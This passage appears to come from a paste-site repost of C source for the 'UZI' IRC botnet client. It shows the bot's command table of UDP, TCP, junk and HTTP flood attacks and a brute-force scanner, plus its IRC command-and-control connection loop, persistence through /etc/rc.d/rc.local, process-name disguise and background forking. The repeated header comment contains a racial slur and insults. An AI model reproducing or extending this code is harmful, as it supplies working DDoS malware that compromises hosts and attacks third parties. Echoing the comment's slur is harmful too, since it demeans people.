  2165.             Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE NOT STARTED!\n", chan);
  2166.             return;
  2167.         }
  2168.     } else {
  2169.         Send(sock, "NOTICE %s :4[UZI] 11[+] UZIBRUTE <ON/OFF>\n", sender);
  2170.         return;
  2171.     }
  2172. }
  2173. // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
  2174. // Leaked by unknown, reposted by Scarface. 23/5/2018
  2175. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  2176.     { "QUDP", udpbiatch },
  2177.     { "QTCP", sendTCP},
  2178.     { "STD", regstd},
  2179.     { "TSTD", threadstd},
  2180.     { "QHOLD", hold },
  2181.     { "QJUNK", junk },
  2182.     { "RUDP", rawUDP },
  2183.     { "UZIBRUTE", uziscanstart },
  2184.     { "NICK", nickc },
  2185.     { "UZIMUSTDIE", killd },
  2186.     { "HTTPFLOOD", HTTP },
  2187.     { "KILLALL", killall },
  2188.     { "HELP", help },
  2189.     { "PACKETSIZECHANGE", train_ps },
  2190.     { "MAXBOOTCHANGE", max_bt },
  2191.     { "MAXATTACKTHREADS", max_threads },
  2192.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  2193.  
  2194. void _PRIVMSG(int sock, char *sender, char *str) {
  2195.         int i;
  2196.         char *to, *message;
  2197.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2198.         str[i]=0;
  2199.         to=str;
  2200.         message=str+i+2;
  2201.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  2202.         sender[i]=0;
  2203.         if (*message == '!' && !strcasecmp(to,chan)) {
  2204.                 char *params[12], name[1024]={0};
  2205.                 int num_params=0, m;
  2206.                 message++;
  2207.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  2208.                 message[i]=0;
  2209.                 if (strwildmatch(message,nick)) return;
  2210.                 message+=i+1;
  2211.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock, "NOTICE %s :Unable to comply.\n", sender); else Send(sock, "%s\n",message+4);
  2212.                 m=strlen(message);
  2213.                 for (i=0;i<m;i++) {
  2214.                         if (*message == ' ' || *message == 0) break;
  2215.                         name[i]=*message;
  2216.                         message++;
  2217.                 }
  2218.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  2219.                 num_params++;
  2220.                 if (num_params > 10) num_params=10;
  2221.                 params[0]=name;
  2222.                 params[num_params+1]="\0";
  2223.                 m=1;
  2224.                 while (*message != 0) {
  2225.                         message++;
  2226.                         if (m >= num_params) break;
  2227.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  2228.                         params[m]=(char*)malloc(i+1);
  2229.                         strncpy(params[m],message,i);
  2230.                         params[m][i]=0;
  2231.                         m++;
  2232.                         message+=i;
  2233.                 }
  2234.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  2235.                         if (!strcasecmp(flooders[m].cmd,name)) {
  2236.                                 flooders[m].func(sock,sender,num_params-1,params);
  2237.                                 for (i=1;i<num_params;i++) free(params[i]);
  2238.                                 return;
  2239.                         }
  2240.                 }
  2241.         }
  2242. }
  2243. void _376(int sock, char *sender, char *str) {
  2244.         Send(sock,"MODE %s -xi\n",nick);
  2245.         Send(sock,"JOIN %s :%s\n",chan,key);
  2246.         Send(sock,"WHO %s\n",nick);
  2247. }
  2248. void _PING(int sock, char *sender, char *str) {
  2249.         Send(sock,"PONG %s\n",str);
  2250. }
  2251. void _352(int sock, char *sender, char *str) {
  2252.         int i,d;
  2253.         char *msg=str;
  2254.         struct hostent *hostm;
  2255.         unsigned long m;
  2256.         for (i=0,d=0;d<5;d++) {
  2257.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  2258.                 if (i == strlen(str)) return;
  2259.         }
  2260.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  2261.         msg[i]=0;
  2262.         if (!strcasecmp(msg,nick) && !spoofsm) {
  2263.                 msg=str;
  2264.                 for (i=0,d=0;d<3;d++) {
  2265.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  2266.                         if (i == strlen(str)) return;
  2267.                 }
  2268.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  2269.                 msg[i]=0;
  2270.                 if ((m = inet_addr(msg)) == -1) {
  2271.                         if ((hostm=gethostbyname(msg)) == NULL) {
  2272.                                
  2273.                                 return;
  2274.                         }
  2275.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  2276.                 }
  2277.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  2278.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  2279.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  2280.                 ((char*)&spoofs)[0]=0;
  2281.                 spoofsm=256;
  2282.         }
  2283. }
  2284. void _433(int sock, char *sender, char *str) {
  2285.         free(nick);
  2286.         nick=makestring();
  2287. }
  2288. void _NICK(int sock, char *sender, char *str) {
  2289.     int i;
  2290.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  2291.         sender[i]=0;
  2292.     if (!strcasecmp(sender,nick)) {
  2293.         if (*str == ':') str++;
  2294.         if (nick) free(nick);
  2295.         nick=strdup(str);
  2296.     }
  2297. }
  2298. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  2299.         { "352", _352 },
  2300.         { "376", _376 },
  2301.         { "433", _433 },
  2302.         { "422", _376 },
  2303.         { "PRIVMSG", _PRIVMSG },
  2304.         { "PING", _PING },
  2305.     { "NICK", _NICK },
  2306. { (char *)0, (void (*)(int,char *,char *))0 } };
  2307. void con() {
  2308.         struct sockaddr_in srv;
  2309.         unsigned long ipaddr,start;
  2310.         int flag;
  2311.         struct hostent *hp;
  2312. start:
  2313.     sock=-1;
  2314.     flag=1;
  2315.     if (changeservers == 0) server=servers[rand()%numservers];
  2316.     changeservers=0;
  2317.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  2318.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  2319.         if ((hp = gethostbyname(server)) == NULL) {
  2320.             server=NULL;
  2321.             close(sock);
  2322.             goto start;
  2323.         }
  2324.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  2325.     }
  2326.     else srv.sin_addr.s_addr=inet_addr(server);
  2327.         srv.sin_family = AF_INET;
  2328.         srv.sin_port = htons(cnport);
  2329.     ioctl(sock,FIONBIO,&flag);
  2330.     start=time(NULL);
  2331.     while(time(NULL)-start < 10) {
  2332.         errno=0;
  2333.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  2334.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  2335.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  2336.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  2337.             return;
  2338.         }
  2339.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  2340.         sleep(1);
  2341.     }
  2342.     server=NULL;
  2343.     close(sock);
  2344.     goto start;
  2345. }
  2346. int main(int argc, char **argv) {
  2347.         printf("UZI\n");
  2348.         int on,i;
  2349.         char cwd[256],*str;
  2350.         FILE *file;
  2351. #ifdef STARTUP
  2352.     str="/etc/rc.d/rc.local";
  2353.     file=fopen(str,"r");
  2354.     if (file == NULL) {
  2355.         str="/etc/rc.conf";
  2356.         file=fopen(str,"r");
  2357.     }
  2358.         if (file != NULL) {
  2359.                 char outfile[256], buf[1024];
  2360.                 int i=strlen(argv[0]), d=0;
  2361.                 getcwd(cwd,256);
  2362.                 if (strcmp(cwd,"/")) {
  2363.                         while(argv[0][i] != '/') i--;
  2364.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2365.                         while(!feof(file)) {
  2366.                                 fgets(buf,1024,file);
  2367.                                 if (!strcasecmp(buf,outfile)) d++;
  2368.                         }
  2369.                         if (d == 0) {
  2370.                                 FILE *out;
  2371.                                 fclose(file);
  2372.                                 out=fopen(str,"a");
  2373.                                 if (out != NULL) {
  2374.                                         fputs(outfile,out);
  2375.                                         fclose(out);
  2376.                                 }
  2377.                         }
  2378.                         else fclose(file);
  2379.                 }
  2380.                 else fclose(file);
  2381.         }
  2382. #endif
  2383.         if (fork()) exit(0);
  2384.         getOurIP();
  2385. #ifdef FAKENAME
  2386.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  2387.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  2388. #endif
  2389.         srand((time(NULL) ^ getpid()) + getppid());
  2390.         nick=makestring();
  2391.         ident=BOTident;
  2392.         user=BOTuser;
  2393.         chan=CHAN;
  2394.     key=KEY;
  2395.     server=NULL;
  2396. sa:
  2397. #ifdef IDENT
  2398.         for (i=0;i<numpids;i++) {
  2399.                 if (pids[i] != 0 && pids[i] != getpid()) {
  2400.                         kill(pids[i],9);
  2401.             waitpid(pids[i],NULL,WNOHANG);
  2402.                 }
  2403.         }
  2404.     pids=NULL;
  2405.     numpids=0;
  2406.     identd();
  2407. #endif
  2408.     con();
  2409.         Send(sock, "NICK [%s|%s]%s\nUSER %s localhost localhost :%s\n", PREFIX, getBuild(), nick, user, ident);
  2410.         while(1) {
  2411.                 unsigned long i;
  2412.                 fd_set n;
  2413.                 struct timeval tv;
  2414.                 FD_ZERO(&n);
  2415.                 FD_SET(sock,&n);
  2416.                 tv.tv_sec=60*20;
  2417.                 tv.tv_usec=0;
  2418.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  2419.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  2420.                         unsigned int *newpids,on;
  2421.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  2422.             pids[on-1]=0;
  2423.                         numpids--;
  2424.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  2425.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  2426.                         free(pids);
  2427.                         pids=newpids;
  2428.                 }
  2429.                 if (FD_ISSET(sock,&n)) {
  2430.                         char buf[4096], *str;
  2431.                         int i;
  2432.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  2433.                         buf[i]=0;
  2434.                         str=strtok(buf,"\n");
  2435.                         while(str && *str) {
  2436.                                 char name[1024], sender[1024];
  2437.                                 filter(str);
  2438.                                 if (*str == ':') {
  2439.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2440.                                         str[i]=0;
  2441.                                         strcpy(sender,str+1);
  2442.                                         strcpy(str,str+i+1);
  2443.                                 }
  2444.                                 else strcpy(sender,"*");
  2445.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2446.                                 str[i]=0;
  2447.                                 strcpy(name,str);
  2448.                                 strcpy(str,str+i+1);
  2449.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  2450.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  2451.                                 str=strtok((char*)NULL,"\n");
  2452.                         }
  2453.                 }
  2454.         }
  2455.         return 0;
  2456. }
  2457. // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
  2458. // Leaked by unknown, reposted by Scarface. 23/5/2018
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement